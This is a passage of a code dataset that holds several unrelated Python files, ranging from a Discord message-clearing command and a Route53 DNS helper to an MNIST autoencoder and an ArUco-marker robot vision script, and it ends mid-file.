print(\"Insufficient list of marks!\")\n\nif __name__ == \"__main__\":\n getData()\n calData()\n ","sub_path":"assignment4/average.py","file_name":"average.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"263361297","text":"# https://codechalleng.es/bites/180/\n\nfrom collections import defaultdict\n\n# fake data from https://www.mockaroo.com\ndata = \"\"\"last_name,first_name,country_code\nWatsham,Husain,ID\nHarrold,Alphonso,BR\nApdell,Margo,CN\nTomblings,Deerdre,RU\nWasielewski,Sula,ID\nJeffry,Rudolph,TD\nBrenston,Luke,SE\nParrett,Ines,CN\nBraunle,Kermit,PL\nHalbard,Davie,CN\"\"\"\n\n\ndef group_names_by_country(data: str = data) -> defaultdict:\n countries = defaultdict(list)\n for line in data.split('\\n'):\n last_name, first_name, country = line.split(',')\n countries[country].append(f\"{first_name} {last_name}\")\n countries.pop('country_code', None)\n return countries\nif __name__ == '__main__':\n group_names_by_country(data)\n","sub_path":"bites/bite180_names.py","file_name":"bite180_names.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"27691819","text":"import discord\nimport asyncio\nfrom logger import log\n\n\nasync def ex(args, message, client, invoke):\n author = message.author.name\n channel = message.channel.__str__()[20:]\n if author != channel:\n try:\n ammount = int(args[0]) + 1 if len(args) > 0 else 2\n except:\n await client.send_message(message.channel, embed=discord.Embed(color=discord.Color.red(), description=\"Please enter another value than %s\" % ammount))\n return\n\n messages = []\n async for m in client.logs_from(message.channel, limit=ammount):\n messages.append(m)\n\n await client.delete_messages(messages)\n\n return_msg = await client.send_message(message.channel, embed=discord.Embed(color=discord.Color.blue(), description=\"Cleared %s message(s).\" % ammount))\n await asyncio.sleep(4)\n await client.delete_message(return_msg)\n else:\n await client.send_message(message.author, embed=discord.Embed(color=discord.Color.red(), description=\"Can't delete direct messages!\"))\n log(\"Could not clear message(s)!\", \"error\")\n","sub_path":"commands/cmd_clear.py","file_name":"cmd_clear.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"39017480","text":"# from openpyxl import Workbook\n# wb = Workbook() # 새 워크북 생성\n# ws = wb.active\n# ws.title = \"NadoShee\"\n# ws.sheet_properties.tabColor = \"ff66ff\"\n# for x in range (1,11):\n# c= ws.cell(row = x, column = 1, value = 4)\n# print (c.value)\n# print(ws.max_row)\n\n# wb.save(\"sample.xlsx\")\n# wb.close()\n\nimport glob\nfilelocation = input(\"위치를적어주세요\")\nfiletype = input(\"파일유형 적어주세요\")\nmyList = glob.glob(filelocation + \"\\*.\" + filetype)\nif not myList:\n fileresult = input(\"잘못되었습니다\")\nelse:\n print (*myList, sep = \"\\n\")\n fileresult = input(\"여기있습니다\") \n\n# print (os.path.abspath(\"17194.xls\"))\n\n# 어떤 폴더에 어떤파일들이 있는지 알려주는 프로그램\n\n#C:\\Users\\Dave\\Documents\\정석윤\\9. 매크로 프로젝트\\gunsan\\*.xls\n\n#my testbed for codingxls\n","sub_path":"rpa_basic/1_excel/1_create_file.py","file_name":"1_create_file.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"3209459","text":"\"\"\"Class for Route53 domains.\"\"\"\n\n\nclass DomainManager:\n \"\"\"Manage a Route53 domain.\"\"\"\n\n def __init__(self, session):\n \"\"\"Create DomainManager object.\"\"\"\n self.session = session\n self.route53_client = session.client('route53')\n\n def find_hosted_zone(self, domain_name):\n \"\"\"Find a hosted zone of the domain.\"\"\"\n paginator = self.route53_client.get_paginator('list_hosted_zones')\n\n for page in paginator.paginate():\n for zone in page['HostedZones']:\n if domain_name.endswith(zone['Name'][:-1]):\n return zone\n\n return None\n\n def create_s3_domain_record(self, zone, domain_name, endpoint):\n \"\"\"Create an A record for the domain name.\"\"\"\n return self.route53_client.change_resource_record_sets(\n HostedZoneId=zone['Id'],\n ChangeBatch={\n 'Comment': 'Created by boto3 lib',\n 'Changes': [{\n 'Action': 'UPSERT',\n 'ResourceRecordSet': {\n 'Name': domain_name,\n 'Type': 'A',\n 'AliasTarget': {\n 'HostedZoneId': endpoint.zone,\n 'DNSName': endpoint.host,\n 'EvaluateTargetHealth': False\n }\n }\n\n }]\n }\n\n )\n\n def create_cf_domain_record(self, zone, domain_name, cf_domain):\n \"\"\"Create an domain record in zone for domain_name.\"\"\"\n print(zone, domain_name, cf_domain)\n return self.route53_client.change_resource_record_sets(\n HostedZoneId=zone['Id'],\n ChangeBatch={\n 'Comment': 'Created by boto3 lib',\n 'Changes': [{\n 'Action': 'UPSERT',\n 'ResourceRecordSet': {\n 'Name': domain_name,\n 'Type': 'A',\n 'AliasTarget': {\n 'HostedZoneId': 'Z2FDTNDATAQYW2',\n 'DNSName': cf_domain,\n 'EvaluateTargetHealth': False\n }\n }\n\n }]\n }\n\n )\n","sub_path":"scripts/domain.py","file_name":"domain.py","file_ext":"py","file_size_in_byte":2280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"378424670","text":"# coding=utf-8\nimport unicodedata\nclass config_predict(object):\n def __init__(self,model_config='', doPredict = [1,1,1,1]): #__init__() 是类的初始化方法；它在类的实例化操作后 会自动调用，不需要手动调用；\n # 设置属性\n self.stopwords = [\" \", \"　\", \" \", \",\", \"，\", \".\", \"。\", \"、\", \"!\", \"！\", \"?\", \"？\", \";\", \"；\", \"~\", \"～\", \"·\", \"·\", \".\", \"…\", \"-\",\n \"#_\", \"—\", \"+\", \"=\", \"'\", \"\\\"\", \"‘\", \"’\", \"“\", \"”\", \"*\", \"&\", \"^\", \"%\", \"$\", \"/\", \"\\\\\", \"@\"]\n self.stopwords,self.map_e2z = self.addStopwords()\n self.blackwords = ['自杀','死','火葬','我是你爸爸','我是你妈妈']\n self.specialwords_pre = ['祝福', '祝愿', '预祝']\n self.specialwords_gen = ['生日', '新年', '新春', '春节', '节日', '元旦']\n self.singlewords = ['哈','啊','哦','哦','呵','嘿','哎','哼']\n self.removed_words = ['⊙']\n self.punc_end = '.?!。？！》>'\n self.path_HighFreqWords = '../data/words_highFreq.txt'\n self.HighFreqWords = self.getHFW()\n self.min_contenlen = 8\n self.rate_gen2inp = 1.4\n self.batchGenerating = True\n self.max_nb_sents=4\n self.gpus = ['5','6','7']\n self.style = ['poem','prose','gou']\n if len(model_config)==0:\n self.model_configs = ['demo_config/config_poem.json','demo_config/config_godText_small_finetune_merged.json',\n 'demo_config/config_dabaigou.json']\n else:\n if type(model_config)==list:\n self.model_configs = model_config\n else:\n self.model_configs = [model_config]\n self.predict_nums = [4, 8, 8, 5]\n self.tags = ['(诗)', '(文)', '(大白狗)', '(句联想)']\n self.doPredict = [t==1 for t in doPredict]\n self.rmHFW = [False, False, True, False]\n self.maxNext_JLX = 3\n self.path_JLX_next = 'model/nnlm/D_next.json'\n self.path_JLX_simi = 'model/nnlm/D_simi.json'\n self.prefixTrim = True\n self.useThread = True\n self.fast_pattern = True\n self.repetition_penalty = [1.5,1.2,1.2]\n self.temperature = [0.7,0.6,0.5]\n self.length = [64,30,30]\n self.resort = True\n def addStopwords(self):\n punc_zh = \"！？｡＂＃＄％＆＇（）＊＋，－／：；＜＝＞＠［＼］＾＿｀｛｜｝～｟｠｢｣､、〃》「」『』【】〔〕〖〗〘〙〚〛〜〝〞〟〰〾〿–—‘’‛“”„‟‧﹏.…\"\n punc_en = unicodedata.normalize('NFKC', punc_zh[:-1]) + unicodedata.normalize('NFKC', punc_zh[-1])[-1]\n punc_zh = punc_zh + '。'\n punc_en = punc_en + '｡'\n map_e2z = {punc_en[i]: punc_zh[i] for i in range(len(punc_en))}\n stopwords = self.stopwords + list(punc_zh) + list(punc_en)\n stopwords = list(set(stopwords))\n return stopwords,map_e2z\n def getHFW(self):\n with open(self.path_HighFreqWords,'r') as f:\n s = f.read().strip().split('\\n')\n return s\n","sub_path":"test_online/Config.py","file_name":"Config.py","file_ext":"py","file_size_in_byte":3083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"33882772","text":"#!/usr/bin/env python3\n# coding utf-8\n\nimport cProfile\n\nimport copy\nimport math\nimport numpy as np\nimport random\nfrom datetime import datetime\n\nimport pprint\npprint = pprint.PrettyPrinter(indent=4).pprint\n\nfrom Classes.MatricesPrinter import MatricesPrinter\nfrom Classes.Options import Options\nfrom Classes.Point import Point\nfrom Classes.PolygonCylinderInTheShell import PolygonCylinderInTheShell\nfrom Classes.PropertiesPrinter import PropertiesPrinter\nfrom Classes.Vector import Vector\n\nfrom functions.boxCross import boxCross\nfrom functions.boxCrossByDiskInTheShell import boxCrossByDiskInTheShell\nfrom functions.checkPercolation import checkPercolation\nfrom functions.diskDiskInTheShellCross import diskDiskInTheShellCross\nfrom functions.disksCross import disksCross\nfrom functions.disksInTheShellCross import disksInTheShellCross\n\n\ndef mainExfoliation():\n o = Options()\n maxhMatrix = o.getProperty('maxh_m')\n maxhFiller = o.getProperty('maxh_f')\n maxhShell = o.getProperty('maxh_sh')\n desiredDisksNumber = int(o.getProperty('numberOfDisks'))\n maxAttempts = o.getProperty('maxAttempts')\n pcs = []\n l = o.getProperty('cubeEdgeLength')\n #cellString = 'solid cell = orthobrick(0, 0, 0;'\n #cellString += ' {0}, {0}, {0});\\n'.format(l)\n cellString = 'solid cell = plane(0, 0, {0}; 0, 0, {0})'.format(l)\n cellString += ' and plane(0, {0}, 0; 0, {0}, 0)'.format(l)\n cellString += ' and plane({0}, 0, 0; {0}, 0, 0)'.format(l)\n cellString += ' and plane(0, 0, 0; 0, 0, -{0})'.format(l)\n cellString += ' and plane(0, 0, 0; 0, -{0}, 0)'.format(l)\n cellString += ' and plane(0, 0, 0; -{0}, 0, 0);\\n'.format(l)\n matrixString = 'solid matrix = cell'\n attempt = 0\n v = o.getProperty('verticesNumber')\n r = o.getProperty('polygonalDiskRadius')\n h = o.getProperty('polygonalDiskThickness')\n ready = 0\n tmpPcs = []\n while ready < desiredDisksNumber and attempt < maxAttempts:\n attempt += 1\n if len(pcs) > 0:\n name = int(pcs[len(pcs) - 1].number()) + 1\n pc = PolygonCylinderInTheShell(r, h, name, int(v))\n else:\n pc = PolygonCylinderInTheShell(r, h, 0, int(v))\n random.seed(datetime.now())\n alpha = random.random() * 2 * math.pi\n beta = random.random() * 2 * math.pi\n gamma = random.random() * 2 * math.pi\n # rotate around 0x\n pc.changeByMatrix(np.array([\n [1, 0, 0, 0],\n [0, math.cos(alpha), -math.sin(alpha), 0],\n [0, math.sin(alpha), math.cos(alpha), 0],\n [0, 0, 0, 1]\n ]))\n # rotate around 0y\n pc.changeByMatrix(np.array([\n [math.cos(beta), 0, math.sin(beta), 0],\n [0, 1, 0, 0],\n [-math.sin(beta), 0, math.cos(beta), 0],\n [0, 0, 0, 1]\n ]))\n # rotate around 0z\n pc.changeByMatrix(np.array([\n [math.cos(gamma), -math.sin(gamma), 0, 0],\n [math.sin(gamma), math.cos(gamma), 0, 0],\n [0, 0, 1, 0],\n [0, 0, 0, 1]\n ]))\n # translate into random point of the box\n dx = l * random.random()\n dy = l * random.random()\n dz = l * random.random()\n pc.changeByMatrix(np.array([\n [1, 0, 0, 0],\n [0, 1, 0, 0],\n [0, 0, 1, 0],\n [dx, dy, dz, 1]\n ]))\n tmpPcs = []\n copiedCount = 0\n pcToCheck = None\n for ix in [-1, 0, 1]:\n for iy in [-1, 0, 1]:\n for iz in [-1, 0, 1]:\n pc1 = copy.copy(pc)\n pc1.setCopied(copiedCount)\n copiedCount += 1\n pc1.changeByMatrix(np.array([\n [1, 0, 0, 0],\n [0, 1, 0, 0],\n [0, 0, 1, 0],\n [ix * l, iy * l, iz * l, 1]\n ]))\n tmpPcs.append(pc1)\n if (ix, iy, iz) == (0, 0, 0):\n pcToCheck = pc1\n flag = 0\n for oldPc in pcs:\n #for pc in tmpPcs:\n # if disksCross(oldPc, pc) or\\\n # disksCross(pc, oldPc) or\\\n # diskDiskInTheShellCross(oldPc, pc) or\\\n # diskDiskInTheShellCross(pc, oldPc):\n # flag = 1\n # break\n if disksCross(oldPc, pc) or\\\n disksCross(pc, oldPc) or\\\n diskDiskInTheShellCross(oldPc, pc) or\\\n diskDiskInTheShellCross(pc, oldPc):\n flag = 1\n break\n if flag != 1:\n ready += 1\n for pc in tmpPcs:\n pcs.append(pc)\n \n toPop = []\n for i, pc in enumerate(pcs):\n c = pc.c()\n if not 0 < c.x() < l or not 0 < c.y() < l or not 0 < c.z() < l:\n if not boxCrossByDiskInTheShell(pc):\n toPop.append(i)\n for i in toPop[::-1]:\n pcs.pop(i)\n s = 'End of attempt {0} ready {1} of {2}'\n print(s.format(attempt, ready, desiredDisksNumber))\n print('Checking for percolation len is {}'.format(len(pcs)))\n for pc in pcs:\n print(pc)\n checkPercolation(pcs)\n s = ' and not filler and not shell;\\ntlo matrix -transparent -maxh={0};\\n'\n matrixString += s.format(maxhMatrix)\n f = open(o.getProperty('fname'), 'w')\n f.write('algebraic3d\\n')\n f.write(cellString)\n if len(pcs) > 0:\n fillerString = 'solid filler = cell and ('\n shellString = 'solid shell = cell and ('\n for i, pc in enumerate(pcs):\n pc.printToCSG(f)\n if i != 0:\n fillerString += ' or polygonalDisk{0}'.format(pc.number())\n shellString += ' or pdShell{0}'.format(pc.number())\n else:\n fillerString += 'polygonalDisk{0}'.format(pc.number())\n shellString += 'pdShell{0}'.format(pc.number())\n fillerString += ');\\ntlo filler -maxh={0};\\n'.format(maxhFiller)\n s = ') and not filler;\\ntlo shell -maxh={0};\\n'\n shellString += s.format(maxhShell)\n f.write(fillerString)\n f.write(shellString)\n f.write(matrixString)\n print('Volume fraction is {}'.format(ready * math.pi * r**2 * h / l**3))\n mp = MatricesPrinter(pcs)\n pp = PropertiesPrinter(pcs)\n\n \nmainExfoliation()\n","sub_path":"mainExfoliationShellPeriodic.py","file_name":"mainExfoliationShellPeriodic.py","file_ext":"py","file_size_in_byte":7017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"600218024","text":"import bmm.parameters as para\n\nenv_type = para.game_version\nalgorithm_type = para.algorithms\npolicy_type = para.policy_type\ngame_type = para.game_type\npath = para.DataSavePath\n\nresult_dir = 'results-{0}-{1}-{2}-{3}'.format(env_type, algorithm_type, policy_type, game_type)\n\n\nimport numpy as np\nimport pandas as pd\n\nwindow_size = 100\nadjustment_rate_plot_range = 1\nwindow = 995000\nprint_episode = para.print_episode\n\n# Load Q value table\nplot_Q_list = [] # Initialize the Q_list for plot\nQ_table = np.load(path + 'numpy_data/' + result_dir + '/' + 'q_table_' + str(print_episode) + \".npy\") # Load Q_table\nPE_rows = np.array(np.arange(para.state_limits)) # States Prediction errors\nAR_cols = np.array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]) # Actions: adjustment rate\n\n# Result save path\nsave_path = path + 'plot_results/' + result_dir\n\nimport numpy as np\nfrom matplotlib import cm\nfrom mpl_toolkits.mplot3d import Axes3D\nimport os\nimport matplotlib\nimport numpy as np\nimport matplotlib.cm as cm\nimport matplotlib.mlab as mlab\nfrom matplotlib.ticker import LinearLocator, FormatStrFormatter\nimport matplotlib.pyplot as plt\n\nmatplotlib.rcParams['xtick.direction'] = 'out'\nmatplotlib.rcParams['ytick.direction'] = 'out'\n\ndelta = 0.025\nx = PE_rows\ny = AR_cols\n\n\nX, Y = np.meshgrid(x, y)\n\nZ = np.array(Q_table)\nZ = np.transpose(Z)\n\nfig = plt.figure()\nplt.rc('font', family='serif', size=13)\n\nax = fig.gca(projection = '3d')\nsurf=ax.plot_surface(Y, X, Z, rstride=1, cstride=1,cmap=cm.coolwarm,\n linewidth=0, antialiased=True)\nax.contour(Y, X, Z, zdir='z', offset=np.min(Z)-1, cmap=cm.coolwarm)\nax.set_xlabel('Adjustment Rate')\nif para.game_version == \"OutlierGame-v1\":\n ax.set_ylabel('State')\nelif para.game_version == \"OutlierGame-v2\":\n ax.set_ylabel('State')\nax.set_zlabel('Q value')\nax.zaxis.set_major_locator(LinearLocator(6))\nax.zaxis.set_major_formatter(FormatStrFormatter('%.02f'))\nfig.colorbar(surf, shrink=0.5, aspect=5) # colour bar\nax.set_zlim([np.min(Z)-1,0])\n\n\n\nplt.show()","sub_path":"bmm/plot_code/plot_3d.py","file_name":"plot_3d.py","file_ext":"py","file_size_in_byte":2006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"479071961","text":"\"\"\"\r\nDefinition of TreeNode:\r\nclass TreeNode:\r\n def __init__(self, val):\r\n self.val = val\r\n self.left, self.right = None, None\r\n\"\"\"\r\nclass Solution:\r\n \"\"\"\r\n @param root: The root of binary tree.\r\n @return: An integer\r\n \"\"\" \r\n def maxDepth(self, root):\r\n if root is None:\r\n return 0\r\n \r\n self.depth = 0\r\n self.dfs(root, 1)\r\n return self.depth\r\n \r\n def dfs(self, node, height):\r\n if node.left is None and node.right is None:\r\n self.depth = max(self.depth, height)\r\n return\r\n if node.left:\r\n self.dfs(node.left, height + 1)\r\n if node.right:\r\n self.dfs(node.right, height + 1)","sub_path":"src/MaximumDepthOfBinaryTree.py","file_name":"MaximumDepthOfBinaryTree.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"481493648","text":"\nimport os\nos.environ['THEANO_FLAGS'] = 'device=gpu, floatX=float32'\nimport theano\n\nimport numpy as np\nimport numpy.random as npr\n\nimport matplotlib.pyplot as plt\nplt.ion()\n\nimport deepnet\nimport deepnet.autoencoder\nfrom deepnet.autoencoder import Autoencoder, SparseAutoencoder\nfrom deepnet.autoencoder import SparseTrainer, sgd\nfrom deepnet.functions import Linear, NoisyLIFApprox\nimport deepnet.image_tools\n\nfrom skdata.mnist.dataset import MNIST\nmnist = MNIST()\nmnist.meta # accessing this forces data arrays to be built\n\nimages = mnist.arrays['train_images'].astype('float32')\nimages = (images - images.mean()) / images.std()\n\nlabels = np.asarray([m['label'] for m in mnist.meta if m['split'] == 'train'])\nimshape = images.shape[1:]\n\nplt.figure(1)\nplt.clf()\ndeepnet.image_tools.tile(images, rows=5, cols=10)\n\n################################################################################\n### train one layer\n\n# loadfile = None\nloadfile = 'mnist_layer.pkl'\n\nif loadfile is None or not os.path.exists(loadfile):\n\n linear = Linear(slope=1.0)\n noisylif = NoisyLIFApprox(\n tRef=0.02, tauRC=0.06, alpha=10.0, xint=-0.5, amp=1./41, sigma=0.05)\n\n # layer = SparseAutoencoder(visshape=imshape, hidshape=(50,50),\n # rfshape=(9,9), f=noisylif, g=linear)\n layer = SparseAutoencoder(visshape=imshape, hidshape=(40,40),\n rfshape=(9,9), f=noisylif, g=linear)\n\n if loadfile is not None:\n layer.tofile(loadfile)\nelse:\n layer = deepnet.CacheObject.fromfile(loadfile)\n\n################################################################################\ntrain_params = {'rho': 0.01, 'lamb': 25, 'noise_std': 0.2}\ntrainer = SparseTrainer(layer, **train_params)\n\nsgd(trainer, images, nepochs=30, rate=0.05)\n\nif 0:\n ### untied training\n sgd(trainer, images, nepochs=1, rate=0.05)\n layer.untie()\n\n trainer = SparseTrainer(layer, **train_params)\n sgd(trainer, images, nepochs=30, rate=0.05)\n\nresults = layer.compVHV(images)\n\nplt.figure(1)\nplt.clf()\ndeepnet.image_tools.compare([images, results], vlims=(-1,1))\n","sub_path":"examples/mnist_layer.py","file_name":"mnist_layer.py","file_ext":"py","file_size_in_byte":2099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"551852910","text":"#newlist = [*expression* for item in iterable if condition == True]\n\ntemps = [221, 234, 340, 230]\n\nnew_temps = [temp / 10 for temp in temps] #new way using list comprehension\n\n''' new_temps = []\nfor temp in temps:\n new_temps.append(temp / 10)''' #old way using a for loop\n\nprint(new_temps)\n\n\n\n\n\ntemps1 = [221, 234, 340, -9999, 230]\nnew_temps1 = [temp / 10 for temp in temps1 if temp != -9999]\nprint(new_temps1)\n\n\n\n\n\n#if / else list comprehension where if/else goes in between expression and \"for\" statement\ntemps2 = list(temps1)\nnew_temps2 = [temp / 10 if temp != -9999 else 0 for temp in temps2] # -9999 is replaced by 0\nprint(new_temps2)\n","sub_path":"Python Tutorial/python_basics/list_comprehension.py","file_name":"list_comprehension.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"86639866","text":"from decimal import Decimal\nfrom app.core.init import GET_FUNDS, INSERT_TRANSFER\nfrom app.core.models.adapters import xrates\n\n\nclass Transfer:\n @classmethod\n async def get_funds(cls, app, payer, amount: Decimal) -> Decimal:\n \"\"\" Получить остаток \"\"\"\n debt_credt = Decimal('0.0000')\n async with app['pg'].acquire() as pgcon:\n async with pgcon.cursor() as c:\n await c.execute(GET_FUNDS, ({'payer_id': payer[1], 'currency': payer[2]}))\n debt_credt = await c.fetchone()\n debt_credt = debt_credt[0]\n debt_credt = debt_credt if debt_credt else Decimal('0.0000')\n return debt_credt\n\n @classmethod\n async def create(cls, app, payer: tuple, payee: tuple, amount_payer: Decimal, description=None) -> Decimal:\n errors = []\n async with app['pg'].acquire() as pgcon:\n async with pgcon.cursor() as c:\n try:\n await c.execute(INSERT_TRANSFER, {\n 'payer_id': payer[1],\n 'payee_id': payee[1],\n 'amount': amount_payer,\n 'currency': payer[2],\n 'description': description})\n if payer[2] != payee[2]:\n # Требуется пересчёт валют\n amount_payee = await Transfer.recalcuale_amount(amount_payer, payer[2], payee[2])\n await c.execute(INSERT_TRANSFER, {\n 'payer_id': payer[1],\n 'payee_id': payee[1],\n 'amount': amount_payee,\n 'currency': payee[2],\n 'description': description})\n except Exception as e:\n errors.append({3001: str(e)})\n return errors\n\n @staticmethod\n async def recalcuale_amount(amount: Decimal, payer_currency, payee_currency):\n rates = await xrates.parse()\n base = rates.get('base')\n payee_k = 1 if payee_currency == base else rates.get('rates', {}).get(payee_currency)\n payer_k = 1 if payer_currency == base else rates.get('rates', {}).get(payer_currency)\n if payee_k and payer_k:\n amount /= payer_k \n amount *= payee_k\n return amount.quantize(Decimal('1.0000'))","sub_path":"app/core/models/transfer.py","file_name":"transfer.py","file_ext":"py","file_size_in_byte":2412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"211827392","text":"\"\"\"\nThis is the the BOBA mosFET Mission Control script. \n\n@author: Hélène Verhaeghe\n@Coauthor (Satellite): Jerôme De Saulles \n\"\"\"\n\n#import necessary libaries\nimport cv2 # This is the vision library OpenCV\nimport numpy as np # This is a library for mathematical functions for python (used later)\nimport socket # This library will allow you to communicate over the network\nimport time # This library will allow us to access the system clock for pause/sleep/delay actions\nimport cv2.aruco as aruco #Import the AruCo library\nimport math # Import the math library\nimport itertools as it\nimport logging # This library will offer us a different method to print information on the terminal (better for debugging purposes)\nimport paho.mqtt.client as mqtt # This is the library to do the MQTT communications\nimport time # This is the library that will allow us to use the sleep function\nimport random\nimport threading\n\n\n# Initialise variables\nAngleReached = 0 #Field 4 MQTT\nDistanceReached = 0 #Field 5 MQTT\nCommandCount_A = 0 #Keeping Track of number of turning command was send to BB8\nCommandCount_D = 0 #Keeping Track of number of moving command was send to BB8\nInPosition = 0\n\nprint(\"CommandCount_A: \"+str(CommandCount_A))\nprint(\"CommandCount_D: \"+str(CommandCount_D))\n\n\n## MQTT Fields - BOBAmosFET\n# Field 1: Angle\n# Field 2: Distance\n# Field 3: Command\n# Field 4: AngleReached\n# Field 5: DistanceReached\n# Field 6: MagneticField \n# Field 7: \n# Field 8: ShipHeight\n\n# Satellite functions\n\ndef rotationMatrixToEulerAngles(R) :\n\n sy = math.sqrt(R[0,0] * R[0,0] + R[1,0] * R[1,0])\n\n singular = sy < 1e-6\n\n if not singular :\n x = math.atan2(R[2,1] , R[2,2])\n y = math.atan2(-R[2,0], sy)\n z = math.atan2(R[1,0], R[0,0])\n else :\n x = math.atan2(-R[1,2], R[1,1])\n y = math.atan2(-R[2,0], sy)\n z = 0\n\n return np.array([x, y, z])\n\ndef second_smallest(numbers):\n m1, m2 = float('inf'), float('inf')\n for x in numbers:\n if x <= m1:\n m1, m2 = x, m1\n elif x < m2:\n m2 = x\n return m2\n\ndef vision():\n\n # Load the camera calibration values\n Camera = np.load('Calibrated_Rig_Camera.npz')\n CM = Camera['CM'] # camera matrix\n dist_coef = Camera['dist_coef'] # distortion coefficients from the camera\n\n aruco_dict = aruco.Dictionary_get(\n aruco.DICT_4X4_50) # Load the aruco dictionary\n pa = aruco.DetectorParameters_create() # Set the detection parameters\n\n # Select the correct camera (0) = front camera, (1) = rear camera\n cap = cv2.VideoCapture(1)\n\n # Set the width and heigth of the camera to 640x480\n cap.set(3, 640)\n cap.set(4, 480)\n\n # Create two opencv named windows\n cv2.namedWindow(\"frame-image\", cv2.WINDOW_AUTOSIZE)\n\n # Position the window\n cv2.moveWindow(\"frame-image\", 0, 0)\n\n t_end = time.time() + 1\n\n # Execute this continuously\n while time.time() < t_end:\n # Capture current frame from the camera\n ret, frame = cap.read()\n\n # Convert the image from the camera to Gray scale\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n # Run the detection formula\n corners, ids, rP = aruco.detectMarkers(gray, aruco_dict)\n\n # # Count the number of Arucos visible\n # try:\n # IDScount = len(ids)\n # except:\n # IDScount = 0\n\n # Calculate the pose of the markers\n rvecs, tvecs, _objPoints = aruco.estimatePoseSingleMarkers(corners, 53, CM, dist_coef) # <<<< IMPORTANT: number needs changing to width of printed arucos (in mm)\n # Draw the detected markers as an overlay\n out = aruco.drawDetectedMarkers(frame, corners, ids)\n\n # Create Coordinate Storage Arrays\n X = [] #X Coordinate Locations Array\n Y = []\n Z = []\n ID = []\n\n # Run loop if ids are detected\n if ids is not None:\n for i, id in enumerate(ids):\n # Overlay the axis on the image\n out = aruco.drawAxis(out, CM, dist_coef, rvecs[i][0][:], tvecs[i][0][:], 30)\n # Print the tvecs tranformation matrix or Aruco coordinates\n # print(\"X = {:4.1f} Y = {:4.1f} Z = {:4.1f} ID = {:2d}\".format(tvecs[i][0][0], tvecs[i][0][1], tvecs[i][0][2], ids[i][0]))\n X.append(tvecs[i][0][0])\n Y.append(tvecs[i][0][1])\n Z.append(tvecs[i][0][2])\n ID.append(ids[i][0])\n # debugTEST = []\n \n \n # Display the original frame in a window and aruco markers\n cv2.imshow('frame-image', frame)\n\n\n # If the button q is pressed in one of the windows\n if cv2.waitKey(20) & 0xFF == ord('q'):\n # Exit the While loop\n break\n\n # When everything done, release the capture\n cap.release()\n # close all windows\n cv2.destroyAllWindows()\n # # exit the kernel\n # exit(0)\n return X, Y, Z, ID, rvecs\n\ndef initialScan():\n X, Y, Z, ID, rvecs = vision()\n\n # Ensure all coordinates are +ve\n X = [abs(ele) for ele in X]\n Y = [abs(ele) for ele in Y]\n Z = [abs(ele) for ele in Z]\n\n # Combine X(0), Y(1), Z(2) coordinates and ID(3) into P (point) variables\n P = []\n ID_count = len(ID)\n for i in range(ID_count):\n P.append(\n [ID[i], X[i], Y[i], Z[i]]\n )\n # print(P)\n\n # Find the P value which corresponds to the Robot (ID = 0)\n robot_ind = [i for i, el in enumerate(P) if 0 in el][0]\n\n distance = []\n # Count the distances between the robot and the other IDs\n for i in range(ID_count):\n # print(P[i][1], P[robot_ind][1])\n distance.append(\n math.sqrt( ((P[i][1] - P[robot_ind][1]) **2) + ((P[i][2] - P[robot_ind][2]) **2) )\n ) #Compute using 2D Pythagoras\n\n # print(\"Distance vector =\", distance)\n min_distance = second_smallest(distance)\n min_ind = distance.index(min_distance)\n min_ID = P[min_ind][0]\n print(\"The nearest ID is\", min_ID)\n # print(\"The distance to ID\", min_ID, \"from the robot is\", min_distance, \"mm\")\n\n # Store the rvec's for the robot and nearest marker\n rob_rvec = rvecs[robot_ind][0][:]\n marker_rvec = rvecs[min_ind][0][:] # Replace 2 with min_ind when working properly\n output_rvecs = rvecs\n output_rvecs = np.delete(output_rvecs, robot_ind, 0)\n\n # Calculate the relative rotation about the Z axis between the robot ID and nearest ID (beta in notes)\n R_ref_to_cam = cv2.Rodrigues(rob_rvec)[0] #reference to camera\n R_test_to_cam = cv2.Rodrigues(marker_rvec)[0] #test to camera\n R_cam_to_ref = np.transpose(R_ref_to_cam) #inverse of reference to camera\n R_test_to_ref = np.matmul(R_test_to_cam,R_cam_to_ref) #test to reference\n angles_matrix = rotationMatrixToEulerAngles(R_test_to_ref) \n beta = np.degrees(angles_matrix[2])\n beta = 0 - beta\n\n # Calculate the relative angle between the Robot ID axis and the nearest ID location (sigma in notes)\n delta_x = P[robot_ind][1] - P[min_ind][1]\n delta_y = P[min_ind][2] - P[robot_ind][2]\n\n if delta_x > 0:\n if delta_y > 0:\n # upper right\n alpha = np.degrees(math.atan( (delta_x) / (delta_y) ))\n else:\n # lower right\n alpha = np.degrees(math.atan( (-1 * delta_y) / (delta_x) )) + 90\n else:\n if delta_y > 0:\n # upper left\n alpha = np.degrees(math.atan( (delta_y) / (-1 * delta_x) )) + 270\n else:\n # lower left\n alpha = np.degrees(math.atan( (-1 * delta_x) / (-1 * delta_y) )) + 180\n\n # print(\"Alpha =\", alpha, \"degrees\")\n\n # Combine beta and alpha above to calculate the movement direction needed by the robot (sigma in notes)\n angle = alpha - beta\n\n # Convert to counter clockwise motion if faster\n if angle > 180:\n angle = angle - 360\n\n # Rewrite the aruco 